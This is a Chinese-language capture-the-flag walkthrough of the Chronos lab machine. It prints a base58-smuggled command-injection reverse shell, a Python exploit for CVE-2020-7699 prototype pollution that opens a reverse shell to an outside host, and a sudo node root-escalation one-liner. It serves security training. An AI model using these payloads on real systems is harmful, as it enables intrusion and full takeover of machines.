Contents

打靶-Chronos

0x00 准备工作

难度等级: 中
打靶目标: 取得 2 个 flag + root 权限

涉及攻击方法:

  • 端口扫描
  • WEB侦查
  • 命令注入
  • 数据编解码
  • 搜索大法
  • 框架漏洞利用
  • 代码审计
  • NC串联
  • 本地提权

0x01 flag1

主机扫描,使用netdiscover -r 10.0.2.0/24,-r指定ip段。

再进行端口扫描

Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,具体的使用参考https://zhuanlan.zhihu.com/p/124246499。使用nikto -h 10.0.2.7,扫描详细的web服务信息。Express是基于 Node.js 平台,快速、开放、极简的 Web 开发框架。

下面访问下80端口的web服务

查看下源代码,21行的js代码很可疑,不过可以看到这些函数的字符经过处理了。

jsbeautify得到一条url地址,chrons.local怀疑是靶机的域名,再刷新下web页面,发现Permission Denied。

format后面的字符串看起来也像是base加密过的,放到cyberchef里面用magic跑一下,发现是base58加密的,然后格式很类似date命令。%A 表示星期,%B : 月份,%d表示日,%Y表示年,%H表示小时,%M表示分钟,%S表示秒。

下面修改/etc/hosts后再次访问。

构造;bash -c 'bash -i >& /dev/tcp/10.0.2.4/2333 0>&1'经过base58加密后,用bp抓包改包。

虽然爆出了错误提示信息,但shell是已经连上的。

接着进行代码审计,package.json记录当前项目所依赖模块的版本信息,package-lock.json记录了node_modules目录下所有模块的具体来源和版本号以及其他的信息,app.js是项目的入口文件,node_modules是安装node后用来存放用包管理工具下载安装的包的文件夹。chronos文件夹中没有找到相关的漏洞利用点,跳到opt目录,发现同级下存在 chronos-v2文件夹。

跳进去看一下,backend是后端,frontend是前端,index.html是首页,看下后端的代码。

发现存在一个文件上传的东西

经过查找需要用到CVE-2020-7699,参考:https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/?cf_chl_jschl_tk=pmd_is5dI67SGF84oBx7VNrHKtOJkiFLfvwseT0ZXR2iQG8-1633955732-0-gqNtZGzNAlCjcnBszQbR、https://blog.csdn.net/systemino/article/details/108099675https://blog.p6.is/Real-World-JS-1/,且前提条件是启用"parseNested"选项,这里查看server.js的源码。

满足条件,然后,找到的exp代码如下:

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://p6.is:7777')

上传到服务器,修改权限,运行反弹shell。

查看user.txt

0x02 flag2

在Linux系统上进行提权通常有3种:

  • 通过内核漏洞提权
  • suid的权限配置不当
  • sudo权限配置不严谨

这次在sudo时,发现可疑点,可以在不需要密码的情况下运行npm和node命令。

然后搜索一下node.js提权的代码。

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'

成功提权!

接着查看下root.txt